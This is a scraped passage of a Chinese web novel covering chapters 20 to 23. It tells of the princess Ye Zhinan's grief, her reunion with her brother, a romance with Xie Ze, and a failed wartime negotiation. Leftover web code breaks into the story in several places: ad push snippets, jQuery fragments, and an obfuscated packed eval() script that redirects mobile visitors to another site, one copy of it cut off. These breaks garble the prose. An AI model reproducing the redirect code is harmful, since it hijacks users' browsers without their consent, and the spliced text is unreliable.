那箭矢穿破绯红的夕阳,在电光火石之间,朝叶之南飞奔而来。 她却未等到应来的利箭。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>流愫几步上前,一把将人搂过,重重朝前一歪。 叶之南抱着她,却在身后,摸到了满手的鲜血。 “枝南——” 她又唤了一声,但声音更轻了。 “你先别说话,”叶之南颤着唇,头脑竟异常地冷静,“箭伤未在要害,你撑住,还能救回来。” 她离谢泽应只有七八里路,若车队走得快些,恐怕还能再近些。 身后那人又举起弓,叶之南将人放下,拾起剑,飞身朝前冲去。 又一只箭矢刺来,她闪身躲过,一把抓住那人。 停梅横劈过去,不等那人出声,便抹了脖颈。 鲜血梅花,斑斑点点。 寒光入鞘。 “不要了,枝南。” 她回身奔赴流愫身边,听到的却是这样一句低语。 “你闭嘴!”她拉着身上人,将她抱起来,使劲朝马上推,“抓住,抓住马鞍,我上去拉你。” 流愫吃力地摇摇头,虚虚松了手:“枝南,我活不下去,也不想活了。” 叶之南仿佛看到了过去自己的影子。 她一手拉着流愫,单手上了马,死死咬着牙,将人往上拉。 “你当年告密的事我还没算账呢!别想就这么死了!” 马蹄哒哒地响了起来,马背上一颠一颠的,叶之南俯身扶着人,生怕她掉下去。 流愫张了张嘴,想说些什么。 叶之南将耳朵贴近。 “我妹妹……死了。” “以往,我每月都能去看一次她,可如今,已经三个月了。” “她身子不好,妈妈说能治她,让我进十二重,好好办事。” “你给我折的小兔子,她特别喜欢。” “对不起……枝南。” “这个,”她颤颤巍巍地掏出一只小匣子,背上的血一个劲儿地朝外涌,“你的从香蝶,和它的卵,我都给你拿来了。” “枝南……对不起……” 她一遍一遍地重复着这句话,声音却越来越微弱。 叶之南单手策马,紧紧抱着身前人。 马蹄跑得越来越快,瞧不清影子。 “我可是记恨了你整整八年……” 叶之南真正进入十二重时,流愫已然颇有名气。 分明是抬头不见低头见的姐妹关系,可她们却鲜少再说过几句话。 她有恨,而流愫心中有愧。 叶之南抬头,前方隐隐绰绰现出一行车队。 “谢——泽!” 远处人隐隐听到撕心裂肺的喊声,抬起头来,瞧见夕阳下狂奔的叶之南。 他猛地夹紧马肚,朝她奔去。 晚风簌簌吹过无边无际的野草,夕阳缓缓垂下天际,暮光一点一点,消散,微弱。 叶之南感到身前人动了动,心下更有了把握:“那人医术不错,定能将你救回来。” 突然,身下传来锃锃声响。身侧停梅,剐蹭着剑鞘,摇摇晃晃接上最后一缕天光。 “枝南,香囊里……还有三粒,解药。” 她心下猛地一跳,松开手,去夺停梅。 流愫不知从何处涌出的气力,连叶之南也夺不过。她捏紧了剑刃,手中冒出汩汩鲜血。 她本是握着剑柄的。 剑刃一寸一寸贴上细嫩的脖颈。 “你放开!” 叶之南整个身子扑上前去,未稳住重心,抱着人一同滚下马背。 刹那间,鲜血喷了满面。 她只感到温热的液体从面颊流过,顺着下巴,滴滴滑落。 停梅又绽出朵朵红梅。 一声马嘶鸣,身侧投下一道长长的影子。 她握住流愫塞给她的香囊。 上面绣着一只小兔子,红红的眼睛,红红的脸。 “你怎地总爱穿红色?” “染血太多。” 20. 缠发 叶之南意欲将流愫带出槿城。 相处八年,她不知她姓甚名谁,家于何处,但她猜想,她应是不愿再留在此地了。 其实她们似乎也并无太多交集。 地下她带有目的的接近,也不过两月,之后虽同处一屋檐下,但也是形同陌路。 叶之南本不应有多少伤心。 可,同病相怜,相依相感。 十二重是一座暗无天日的囚牢,外人只能窥见其繁华热闹。 她们也不过是那繁华的装饰、祭品。 “殿下,”马下突然来人禀报,“一里外,有追兵。” “将那绛芸草磨制的粉末混入米中吧,”叶之南轻轻搂着流愫,“其余人,原地整顿休息!” 她引着马,朝谢泽走去:“我先带人去阳城,这儿就交给你了。” 谢泽点点头目送她远去。 夜暗了,远方稀稀疏疏地点上几颗星星,冷冷淡淡。 照不亮来路与归途。 “官爷,不知小人这是犯了何事,竟惹得您亲自带人来追。” 谢泽谄笑着,小人模样学了个十成十,看得眼前这官爷不自觉昂起了脑袋。 “也不是为难你,只是你这粮啊,咱官府得收了!” “这……小人好不容易谈下的生意,费了大笔银子,怎地官府说收就收啊!” “银子自然少不了你的,”这官爷也毫不征求谢泽的意见,大手一挥,“先将粮草都清点好了!” 谢泽骑马让至一侧,看着士兵们动作。 他倒真有些佩服叶之南的先见之明了。 想来那玉川钱氏,也不必去寻了。 一番折腾,待他再赶至阳城,已是第二日了。 郊外虞亭,叶之南已将人葬好。 “粮草被他们带走了。” “好。”她最后看了眼那简陋的坟冢,扭过头去。 人尽悲欢散。 “回去吧。” “这十日,宋文玉倒是撑住了,不过情况也不容乐观。” 周玉阳将叶之南扶下马,理理她微乱的鬓发。 “敌军少说还有五万之数,算上后方,多多少少也有个小十万,虽说昨日停了进攻之势,却也只是稍作休整,而金州,只余了一万残兵。” “莞城还留了多少人?” “三万不到,若加上榆、梧城两城,也不过五万。” “将齐蜀退了,其势也可挡。” 言罢,叶之南沉思一二,望向谢泽,却又被师傅拍了拍肩。 “先进屋吧。” 谢泽同叶之淮谈了些什么,叶之南无从得知,只听得师傅谈过两句——枫禾愿出兵。 只是这枫禾何时出兵,似乎并无个准话。 她侧眼睨去,谢泽正同赵岚云说些什么,余光瞥见她的目光,又倏然闭了嘴,挠着头,冲她笑笑。 像个地主家的傻儿子。 叶之南叹口气,这人时靠谱时不靠谱的。 既如此,便是不靠谱了。 枫禾谢家,虽同皇室略有联系,但毕竟隐居阳城许久…… 等等,阳城? 那这小子,莫非就没有探探亲,顺便拿回点儿什么消息? 空中突然飞来一只白鸽,脑袋上顶着簇黑毛,淑淑然落在谢泽肩上,高昂着脑袋,优雅地抬起爪子。 谢泽胡乱揉了把它的脑袋,被它龇起嘴喙,狠狠啄了口。 “嘿,你这傻鸟,越来越没王法了。” 他嘴上说着,手也不停,将信纸取下,摊开来。 这信鸽抬爪踢他一脚,拍打着翅膀,寻着其余落脚点。 这一落,便到了叶之南肩上。 叶之南侧过头去,它便贴上来,用脑袋轻轻蹭了蹭她的脸。 鸟毛也是软的,却不及……另一种毛茸茸的生物。 “这鸟就这样,爱贴姑娘家,”谢泽突然凑过来,一把将它抓下来,“好消息,你也瞧瞧。” 叶之南接过信。 “致不孝子谢泽——” “诶,别看这儿,看这儿,这儿。” 他指指中段某行,叶之南无奈略过,看向重点。 “今天子下令,三万大军,出兵齐蜀盐城,剑指齐都,五月十三得围城,已另传信,报之南知昭王,特告小子。” 五月十三……只有三日了。 齐蜀的军队也并非是吃素的,想来在那之前,齐琏便能收到消息了。 如今……该是同齐蜀,化干戈为玉帛了。 “齐琏退至何地了?” “当时剩余的齐蜀军退至遂州,其余早入了枫禾,想必齐琏不会以身涉险,应是留在了遂州。” “阿淮那边可有音讯?” “他只道想念你,愿早日相见——如今怕也是收到信了,不知他意欲如何部署。” 闻言,叶之南指尖微微一顿。 她将信纸卷好,归还谢泽。 “想随我去莞城看看吗?那儿,才是真正的南知。” “好。” 她似乎忘了,他早已到过菀城。 但去没去过,实然也没什么所谓。 绿荫更蔓延了几分,葱葱郁郁。 已而夏至。 两人休整一夜,捎上赵岚云,继而朝莞城奔去。 叶之南早已换上轻便的骑射服,云鬓堆鸦,青丝高高束起,赤红的发带随颠簸屡屡飘动,英气非常。 谢泽策马奔驰,扭头望去,瞥见她的侧脸,柳眉簇杀,凤眼凝神,英鼻高挺,红唇做了曼陀罗,粉白面上胭脂缀。 他一时恍了神,竟未瞧见前头低垂的树枝,枝桠霎时便勾上了发丝。 于是叶之南耳畔便传来一声惊呼。 她皱皱眉,勒住马,侧头看去。 谢泽抓着树枝,正欲撇断。 身后的赵岚云虽还未睡清醒,却突然伸出指尖,轻轻戳戳她。 “姐姐,他瞧你呢。” 叶之南抿唇,调转马头,踱至谢泽身侧。 “你坐好,别乱动。” 赵岚云打个哈欠,点点头,整个趴在马背上,撑着脑袋,歪头看谢泽。 叶之南下马,翻上谢泽的马背。 “别折这树枝,回头还是得给你解。” 谢泽点头,但又忽地扯到头皮,长嘶一声。 叶之南压低枝桠,唤他:“低头。” 树梢一抖,晨露粒粒滚落下来,落到身前人的发丝间。 珍珠滚滚落乌木。 她伸出手指,柔软的指腹按着他的头皮,轻轻抹去晶莹的水珠。 谢泽头皮一阵发麻。 他埋下脑袋,瞧不见身后情形,只觉得人贴得极近。 后背传来几分热意,丝丝缕缕,透过衣物传了过来。 叶之南仿佛听见了什么声音,“咚,咚,咚”,响个不停。 “诶——身体发肤受之父母,你可别随便用剪子给我剪了。” 这声音明显透出几分心虚,似乎是为了遮掩些什么。 她的手微微一顿,眼神掠过微微泛红的脖颈,继续若无其事地解起发丝来。 但唇角却悄悄勾起。 “你小声些,我自是能解开。” “小声什么小声——” 一只芙蓉素手神不知鬼不觉地绕至胸前,轻轻点了点他的心房。 “这儿,还用多说吗?” 身前人忽然噤了声。 “好了。” 叶之南松开枝桠,碧绿的树叶晃晃而起,闪过几缕晨光。 谢泽忽地转过脑袋来,险些撞上她的额头。 呼吸声急促得很,热息股股喷洒到她脸上。 那双平日不羁的琥珀眼里染上些迷离,又似升起灼烧的火焰,侵蚀着瞳孔内的美人。 面前人一寸寸朝她逼近。 太近了。< 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“别怕,回头教你骑马。” 赶到莞城时,已是翌日深夜了。 更深露重,街市渐渐熄了灯,徒留月色对影。 “皇姐!” 眼前突然策马来人,身披鹤氅,月白绸袍,泛出淡淡湖色银光,映出一双点漆眼、一片朱红唇,剑眉似墨斜插鬓,棱鼻悬准矫矫龙。 只是……不比小时,面庞瘦下许多。 她恍惚一瞬,仿佛见到了父皇的影子。 身后追来两位士兵,一见她,料想这便是昭王的皇姐,忙道:“见过公主殿下!” 叶之南回过神来,微微抬手,眼神却还停留在叶之淮面上。 “阿淮。” 谢泽带赵岚云行过礼后,便远远退至一旁。 至亲久别,该是庆团圞,却也需私语片片。 下人牵过马匹,远远跟在二人身后。 “这些年,如何?” “皇弟还好,只是皇姐受苦了。” 二人沉默一瞬,晚风拂过鬓角发丝,吹得叶之南眼中混了沙。 八年再见,过去日日夜夜无数想对血脉至亲倾吐的话语,都化作今夜的相顾无言。 风太凉,将思绪混作一团乱麻。 “皇姐,你要做姑姑了。” “怎么?”她忽地抬起脸来,看向叶之淮,“你娶妻了?” “嗯,”叶之淮笑笑,神情还略有些羞涩,记忆里的身影仿佛又与眼前人重合了,“是扶云,早些年便向舅舅求娶了,去年才成的亲。” “她呀,”叶之南笑笑,“幼年她入宫时,你总爱寻她玩闹。” 宋扶云,是舅舅宋文玉的女儿,与叶之淮同岁,原是个爱折腾的性子,不知如今怎样了。 “我还有几月便当姑姑了?”她打趣道,眼前已入了一府邸。 “才怀胎五月,还早着——她今日本欲来迎你,我怕夜晚风寒,便让她在家候着了。” “皇姐!”园中突然冲出个姑娘,摇摇晃晃着身子,叶之淮忙伸手,将人扶住。 绣眉横黛,美目流波,两腮一笑,露出小小的梨涡。 “小心些身子。”叶之南瞧着人,也是笑脸盈盈,这小丫头多年来,倒未变了性子。 “阿娘听闻姐姐回来,特意做了梅子糕——” “殿下!”门外突然传来呼声,宋扶云忙止住话头,众人皆朝门外望去。 一士兵忙从马上翻下,几步蹿上台阶,跪地禀报。 “派往齐蜀的使者遭对面拒之门外,只带回一言……” “说。” 士兵微微抬头,面色颇有些疑惑。 “他们说,只愿同一名唤作‘枝南’的姑娘相谈。” 21. 云彩 叶之淮摒退下人,目光犹豫,却默不作声朝叶之南瞥了一眼。 他自以为掩饰得不错,却仍被叶之南尽数收入眼中。 似乎上方忽然现出条绳索,将那颗苍白单薄的心高高挂起。 谈判而已,她自是愿意,只是……这未免太过巧合——她前脚刚至昭王府,后脚便来了消息。 她也不欲多想,正欲开口,余光却瞥见一道身影,忽而闪到身侧。 谢泽大跨步靠了过来。 “你去或不去,可否都带上我?” 他低头,嘴唇贴近耳廓,暖暖的气息全洒在她耳尖。 他的眼睛亮晶晶的,又夹杂着些说不清道不明的意味。 不知为何,她的心又落了回去。 明明毫无来由,可她心中却隐隐冒出些什么,似是茫茫雪地里的枯芽,得了春风一缕。 她其实一直知道,只是装糊涂罢了。 “殿下,阿南……” “说这些做什么,”宋扶云轻轻推了把叶之淮,语气颇带几分娇嗔,“阿姐还未尝梅子糕呢,莲儿,还不赶紧端上来。” 嫣红的梅子糕,花团簇簇,淡香入鼻,指甲盖微微一掐,便印出个新月的芽儿,粉粉糯糯。 往日里念着的糕点就在眼前,她却少了些胃口。 “皇姐,如今好不容易一家团圆,也别为那些事儿烦了心,皇弟虽尚未成大器,但也舍不得姐姐抛头露面、以身赴险,定当倾尽全力,以护皇姐。” 他言辞恳切,言罢,又忽而转换了话题。 “阿云特意为皇姐做的,尝尝?” 她终于彻底松了紧绷的心弦,拈起块梅子糕,举到唇边。 “殿下,急报!” 叶之淮眉头紧蹙:“又有何事?” 一侍从迅速从厅门奔入:“疑似……疑似敌军再度进攻金州!” “进攻便进攻,弄个疑似是什么意思?” “这……” “宣威将军可有消息?” “暂无消息。” “传来个似是非是的军报来,军情都弄不清楚,要你做何用?” 他挥挥手,将人赶下去。 “自己出去领十军棍,弄清楚了再回来上报!” 叶之南的梅子糕堪堪停在半空。一时间无人动手,就是那啥也不懂的傻蛇赵岚云,也觉出几分不寻常,忍住了馋嘴。 她却颇有些口干舌燥。 这已然送至唇边的梅子糕,食之无味,弃之可惜。 手边突然凑来一片红盈盈的唇,微微张开。 柔软的唇瓣蹭过指腹,不及她反应,那玉粳白露,便迅速叼走了手中的糕点。 好一只狡猾的狐狸! 她微微勾起唇角,拿起茶杯,掩饰一二。 “宋夫人的手艺真是不错,小生便先一尝为快了!诶,大家怎地都不动手,倒显得小生鲁莽了。” 屋内氛围瞬间松快了许多,宋扶云笑着打趣谢泽,被他呵呵应下,她也不反驳,看着他挨个逗出些乐子。 只叶之淮还紧紧拧着眉头,手指哒哒扣着桌案,不知想着些什么。 他真以为她流落八年,便蠢了傻了,看不出他这点把戏。 谁人敢将这不清不楚的军报呈上?只为挨顿棍棒? 又抱着何样的意图,非得此刻透出这些,使原本的家宴凉了热闹。 那番漂亮的说辞,不过减轻些自己的不道义罢了。 顺便,让她躲在他的羽翼下,成为幕后人,所作所为,皆现不了身。 她将他当至亲之人,赴汤蹈火也在所不辞,自然愿意为他做这些事。 到底相别八年,生分了。 他这些年,想必也是步步为营,小心算计。 “皇姐,阿云,你们先吃,我先去军营瞧瞧。” “阿淮,”她心中长吁一口气,“齐蜀既要相谈,我去便是了。” “这……”他迟疑着,状似犹豫。 “他们不日便将收到枫禾围城的消息了,又何必这般顺着他们?” 谢泽忽而开口:“殿下等着,至多两日,看那齐蜀还能有今日这般威风吗。” “本王只怕……金州撑不了太久。” 金州易守难攻,能撑下这么些时日已是不易,若真被攻下,这后方可不好守。 “那便将人请来殿下的地盘,再做商议,”谢泽掀起眼皮,懒懒瞧着叶之淮,再不见刚才那轻浮样,“那齐琏非要阿南不可,我方已退一步,又岂能步步退?” 叶之淮露出些笑意,却不及眼底:“谢公子果真如传闻所言,多谋善断,本王今日也是受教了。” 谢泽心中冷笑一声。传闻?他哪有什么传闻?传闻都是他爹的辉煌事迹罢了。这叶之淮话里带刺,他却也不在乎这些名声。 “阿淮,”叶之南饮了口茶水,微微撑着脑袋,“便都听你的安排吧。” 叶之淮微微垂首,高坐上位,语气珍重:“阿淮定不让姐姐受委屈。” “我同你一同去军营瞧瞧,如何?” “这……女子向来不入军营。” 她微微叹口气,忽而想起那日齐琏将她强留至军营的场景。 “但姐姐想去,弟弟自然愿意陪同。” 她眼前一晃,少年笑容明朗,仿佛又成了幼年总爱缠着她看蛐蛐的弟弟。 但又一晃,似乎回不去了。 两人策马到军营前,叶之南却忽而勒马停骖。 “阿淮。”她唤住他,面前人已然翻身下马,将缰绳递至马夫,闻言猛然回头。 “阿姐,怎么?” “我们血脉相连,同根而生,相依为命。” 她垂眸,月光泼了一地,却半分未落到她身上。 “阿姐能做的,都会为你做,日后,你说出来便好。” 叶之淮骤然变了神色,向前走近几步,却又犹豫着,停在三步之外。 “这军营,阿姐便不去了。” 她调转马头,策马扬鞭。 “驾!” 清亮的声色划破夜空,那道单薄的身影毫不犹豫地冲入眼前迷蒙。 街上静得很,只听得四只马蹄哒哒哒哒。 不知何事,又多出一重蹄声。 “阿姐!” 她回头,看见月白色的少年奋力挥着马鞭,额头隐隐露出些晶莹的汗珠。 他喘着粗气,飞快奔至她身侧,跳下马来。 叶之南还未反应过来,他便一个猛扑,似一只巨型大犬,扑到她怀中。 她僵住,缓缓抬起手,拍了拍他的背。 怀中迷迷糊糊地传来一道声音,轻轻悄悄,却又正好让她听个真切。 “阿淮错了。” 叶之南在昭王府留了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13890361|140931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一日,看宋扶云养胎也不安分,一边指挥着小丫鬟抓蝴蝶,一边还想偷偷爬上屋顶看星星。 “真该把舅母叫来管管你。”她无奈叹气,将人小心护着,送上屋顶。 繁星铺了整片夜空,流转,璀璨,颗颗粒粒绚烂了寂寞的夜色。 “之南姐姐,”她倏地捂住嘴,悄悄瞥了叶之南一眼,又慢慢将手放下,“我第一次入宫时,这般唤的你,回头便被母亲训了,后来,便只唤你公主了。” 她笑笑。宋扶云还同个孩子般,和以往别无二致,难能可贵,留得几分纯真。 “舅母管教得严苛,”她躺下,闭上眼睛,感受着初夏的晚风,凉丝丝的,带着些绿叶的青葱味儿,“你日后,想如何唤便如何唤了。” “那日后呢?若是入了宫,还能这般唤你吗?”她侧过脸来,亮晶晶地瞧着她。 “入了宫啊……”她睁开眼,似乎想起些什么,“那得小心了,别被人抓住把柄。” 宫内尔虞我诈,以往不知多少人借着她给母后使绊子。 她突然担心起来,这个小姑娘,又能否应付得了宫内的腌臜事儿。 “若是这般,我便更不想入宫了,”宋扶云长叹一口气,“若是之后入了宫,我便得处处守着规矩了,以免给爹爹和阿淮惹麻烦。” 那时,宋文玉必然是众人眼中钉,勤王之功,又是国丈,怕是势头太盛。 且不知那时叶之淮又是作何打算,能否全心信任这个舅舅。 “你为何嫁了阿淮?” “他对我好呗,”宋扶云掰着手指头,“为了给我抓蝴蝶还摔了一跤,当时我嘲笑他怎么这么笨,后来悄悄去看他,才知道军里有些将士不服他,他一个一个给人打趴下了,自己也受了伤。” 叶之淮不是个练武的苗子,但小时候为了打败她,真真勤学苦练了每个日夜。、 “姐姐,话说——”她突然挤弄起眉眼来,“那个谢泽,是什么人呀?” “枫禾人。”言罢,她拿起一旁的酒壶,面不改色,饮了一口。 “谁问这个!那日他还——”宋扶云伸出手指,假作拈起梅子糕的模样,“阿淮也未这样待过我。” “那我同阿淮说说,让他这样待待你?” “诶呀!”她拍拍手,身子扭至一旁,“不同你聊了。” 宋扶云亦步亦趋,慢慢爬了下去。她见人安稳落地,又自顾自地小酌起来。 今夜星星多得很,但却没有月亮。 月明星稀,星盛无月。 良久,她才飞身下了屋檐。 却正好撞见一位竹青素衣的公子。 眉目清澄,温润如玉,神清皎皎,风华雅丽。 “哪来的小白脸,倒还有模有样的。” 她凑上前去,轻轻拍拍眼前人的脸。 那人眼中盛了两泓月光。 澄澈的月光,闪着柔情,丝丝缕缕勾缠着人。 “我说今晚怎无月色,原来是被你这小白脸给偷走了。” 她凑上前去,想将那月光看个清楚,手却忽地碰上些什么东西,柔软得胜过天边的云彩。 好软,她想将自己深埋在这片云彩中,凑得更近了。 云彩似乎僵硬了一瞬,但随即,又整个向她扑过来。 触碰、试探、侵入、掠夺、占有。 她的唇内似乎全是云彩了。 22. 醉酒 “阿南。” 谢泽微微退开,双手仍虚虚扶着她。叶之南竟觉双腿发软,险些站不稳,压在他手臂上,借了些力。 “醉了?” 她神色并不十分清明,许久才聚了焦,偏过头来,定定瞧着他。 “你怎么化作人了?” 她本意是将他视作云彩,没想到却被眼前人误会了。 谢泽垂眸,看着叶之南。她两颊浮出淡淡的薄粉,嘴唇嫣红,像是刚偷吃了樱桃,泛出水渍。 女子歪着脑袋,双眼迷蒙地瞧着他。 “我记得你,小狐狸——” 她脚步还能稳健地朝前走着,去往自己的厢房,嘴上却罕见地多言:“你的皮毛很舒服。” “那云再柔几分、水再软几分、绸缎儿料子再——再——” 她身子一歪,倒在榻上,凤眸努力睁了睁,将最后一句话说罢,才闭上了眼。 “也抵不过你。” 话音仍飘散在这酒香四溢的厢房内,尾韵绵绵,勾得谢泽不自觉迈入了门槛。 叶之南歪歪扭扭地躺着,发髻散乱,浓墨般泼洒在床榻,她的鞋履还挂在脚上,垂在榻边。 谢泽无奈摇摇头,轻声走近,屈膝蹲下。玉足上挂着金凤红绣鞋,针脚倒只是普普通通,但也挑不出什么错处来。 叶之南又不适地踢踢腿,足尖微微点至他的胸口,他一时不及思考,轻轻握住那只玉足。 艳红的裙角飞扬,扑在他面上,余了些暗香朦胧。 他一时恍惚,仿佛肺腑中也入了酒香。 心窝忽然热得很。 真是非礼之举……他心中暗暗唾弃自己,手却诚实地把着足底。 柔若无骨,却并无虚浮之感,是成荫绿树下坚韧有力的根。 谢泽轻轻握住细嫩的脚踝,将叶之南的鞋袜褪下。 冰肌玉骨,肤如凝脂。 他骤然想到幼年瞧见的月色,在竹叶片上倾泻,一滑而下,似是淡黄朦胧的丝绸。 叶之南微微摆过身去,将腿收回榻上。 手中骤然空落落的。 他伸手将帷帐拉掩好,又默不作声地退出房去。 迷蒙间,叶之南感觉怀内钻入了什么东西,软乎乎的。她将这玩意儿抱紧,侧身睡得更熟了。 翌日,外头的天光微微映入窗棂,鸟雀叽喳,吵醒了榻上人。 叶之南睁开眼,只觉头疼,她揉揉脑袋,听见房门前的脚步声。 “醒了?”她掀开帘,瞧见谢泽正端着饭食进来,“日后饮酒也注意些,若不是今日问起昭王妃,我还不知你昨日竟灌了这么多酒。” 脑海中忽然闪过些画面,她穿好鞋袜,迈下榻来。 “昨夜,我……” “殿下,先洗把脸,该用早膳了,”他走近,替她理理身上的衣裳,“漱口的水都为您打好了,请吧!” “倒也不必这般唤我。” 叶之南见他如此,心下已明了几分,但也不戳破,只顺着他的安排,漱了口。 谢泽闻言,挑了挑眉,但也没多说什么。 “来,我亲自做的早膳,尝尝。” “哟,谢公子还会洗手作羹汤呢!” 她在黄花梨木椅上坐下,瞧了瞧菜色,一道橘味醒酒羹,一份莲叶鲜藕粥,加上几块枣泥山药糕,清淡,也恰好合了她的胃口。 香气四溢,尝来,味也是俱全。 谢泽撑着脑袋,看着眼前人用膳,汤匙轻轻舀着,静得很,面前人小口小口,像只——优雅的鹤。 鹤将早膳啄光,满足地擦了擦唇,看得谢泽一笑。 是只馋嘴鹤。 早膳用罢,叶之南正欲去瞧瞧宋扶云,两人却正好撞见。 “姐姐,”宋扶云唤道,神色还颇带几分急切,“阿淮传信来,说是同齐蜀的谈判约好了,明晚,金州。” 叶之南闻言,轻轻点头。与她所料倒是不差。 两人将赵岚云托付好,便策马离了莞城。 “阿南,你那毒,可做好了打算?” 她沉了眼眸,一时没有回答。 那毒蛊,并非常人可解,而她如今的解药,算上流愫留给她的,也不过九颗。 九颗,九个月。 “先这样吧,将日子过完。” 她要在这最后的九个月,复仇回宫。 谢泽却皱了眉,颇为不赞同:“既然是齐蜀秘术,不如趁此机会,看看对面派了何人过来,若是个得力的,便将人绑了,好歹换条命过来。” 叶之南垂眸,她不是没想过这样,只是……齐琏并非是那般容易受人掣肘的。 “如何?” “不如何,”她直言拒绝,“若是稍有不慎,怕是会影响局势。” “但若过了这次,便再没有这般好的机会了。” 谢泽猛地抽了马鞭,一跃骑到前头去,将她远远落在后边。 她无奈摇摇头,紧跟着追上去。 “你这是做什么,要同我比比赛马?” 她轻飘飘揭过话题,倒是惹得谢泽又气了几分。 “若我赢了,待如何?” 叶之南霎时哽住,倏然又反应过来:“也得看你赢不赢得了我了!” 言罢,她便一骑绝尘,霎时无了踪影。 两人你追我赶,天黑前便至了金州。 金州正为战中,此时敌方停了进攻,方得一丝喘息。 这般,她也见不着舅舅,只被人先行送至了宣威将军府。 谢泽输了赛马,一言不发,只默默跟在人身后。 半夜,宋文玉才回府上,见了他这流落八年的外甥女。 “殿下,”二人来不及话家常,直切正题,“齐蜀来信,要求明日卯时,提前会面。” “将军可还有什么需要安排的?” “我们倒也无扣押使者的打算,一切只为能保着公主安危便足矣,只——” 宋文玉面露犹豫,踟蹰不言。 “您但说无妨。” “若是此番谈判不和,怕是只得弃城退守,以存兵力。” 他这是暗暗提点她,此次谈判必须让齐蜀退兵。 “明白,将军与诸将士苦守多日,辛苦了。” “阿南。”宋文玉看向她,神色沧桑,眼中蕴含着许多说不清道不明的情绪,千言万语似都堵在心间,有口难开。 “你长大了。” “可舅舅风华正茂,不曾变老。” 宋文玉骤然笑了,眼角浮现出深深浅浅的纹路。这些纹路刻在斑驳的面庞上,呼应着道道疤痕。 文溪会很高兴的。 他心想,却没说出口。已经过去八年了,大家都难以释怀,此时却也不适当勾起这些伤心事。 手下又来人寻他商议战事了,他快步奔出府门,朝军营飞去。 晨光熹微,叶之南在金州客栈中,见到了齐蜀来人。 眼前人换上一身常服,素衣麻布,却仍掩不住那股贵气。 真是疯子般的行为。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958119|140931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她懒懒瞧着眼前人,只觉得如今倒真要考虑谢泽的提议了。 “枝南,”齐琏把玩着手中的茶杯,却丝毫不沾那茶水,“没想到朕最后,还是让你给骗了。” “彼此彼此,你这骗我的,也不少,这方面,倒是你棋高一着,我只有认输的份。” 她抬眼看面前人,对方却丝毫没有谈判的意思,悠哉悠哉。 同齐琏这种人相处,是最费脑子的,你永远不知道他下一步会说出些什么来。 齐琏站起身来,四处打量这屋子。这是特意寻的闹市中的客栈,四面八方都围满了他们的人。可他那模样,似乎又不在看这些。 “他们让你住这屋子?倒是破败得很。” 他面上满是不屑,叶之南也懒得同他解释。 “你若同朕回去,不比在这儿舒心自在?黄金千两,豪宅马车,什么朕不能给你安排上?” 叶之南挑眉,这是……策反来了? 只是这时节,未免有些晚吧。 “这便不劳你费心了,咱们要不——谈些正事?” “正事?什么正事?枝南啊,沉不住气,可难成大事呀!” “你若同朕回去,那些虚的不说,便是你这毒蛊的解药,朕也可大把大把地给你,你那解药,可撑不了多久了。” “不过一死了之罢了,况且——”她玩味地看着他,“你如今羊入虎口,我还怕取不着解药?” 她将匕首横出,架在他脖颈上:“你若不关心那齐都安危,粮草消耗,战士性命,我便来同你议议这些杂事——不知齐蜀皇帝的命,能值多少解药?” 齐琏似乎丝毫不惧身前利刃,眼神忽地瞥向窗外。叶之南顺着他的目光,抬眼望去,对上对面酒楼的谢泽。 谢泽端着酒杯,望向二人,目光死死锁在齐琏身上。 “你若真敢动朕,不光这解药,就是昭王的宏图大业,也得灰飞烟灭了。” “齐琏,”她轻笑一声,“如今你的性命在我手上,竟还威胁起我了!” 外边忽然嘈杂起来,她隐隐感到不对,忽地听人来报:“敌军攻城了!” 手下忽地一紧。她死死掐住齐琏:“你倒真是不要命了。” 刀下人没有出声,她这才察觉出一丝不对劲来,摸上那人的下颌。 手用力揉搓几番,终于现了端倪。 今日倒是在自己挖过的坑里栽了跟头。 “城门状况如何?” “将军带人过去了,只是……恐怕撑不了许久。” 今日这般,怕是得退了。 只这一退……不知又要费多大的力气才能回来。 她将手中人一推,丢给手下:“将人带着,你们先后撤!” “可……” “听令,我自有安排。” 叶之南从茶楼飞奔而下,快步上马,直往城门奔去。谢泽瞧见,翻身点窗,一跃从窗边落下,正正被叶之南的马背接住。 “那人——” “并非齐琏。” “我可能认识……” “你认识?” 叶之南骤然拔高了声音,身下的马儿跑得更快了。 眼前的城门骤然被轰开,宋文玉撑着剑,高高立于城墙上,血色浸透了甲衣。 城外大军入境,一男子高高立于战车之上,披挂铠甲,银钢铁衣,熠熠生辉。 他俯视众人,将目光缓缓移向她身上。 “以其人之道还治其人之心,枝南,喜欢吗?” 23. 醉酒 枝南面无表情:“不过东施效颦罢了。” “那又如何——” 城墙上骤然鸣起金钲,齐琏笑笑,伸手道:“请吧。” “齐琏,错过这次谈判,你可得想好了。” “齐都那边,我早有安排,就不劳你多操心了——若你实在对此感兴趣,不如替我走一遭?” 她正欲开口,谢泽却忽地拍了拍她:“该走了。” 周遭士兵已陆续撤离,她这时间也拖得差不多了。 “你定是会来寻我相谈的,如今你以此相欺,不过是愚钝罢了。” 言罢,她便调转马头,齐琏见了,挥挥手:“这个人,我要留下,活的。” 千骑得令,潮水般涌来,叶之南策马狂奔,将人远远甩在身后。 身后尽是马蹄声,刀剑被风吹出了铮鸣之音,在耳边锃锃作响,灌了满耳。 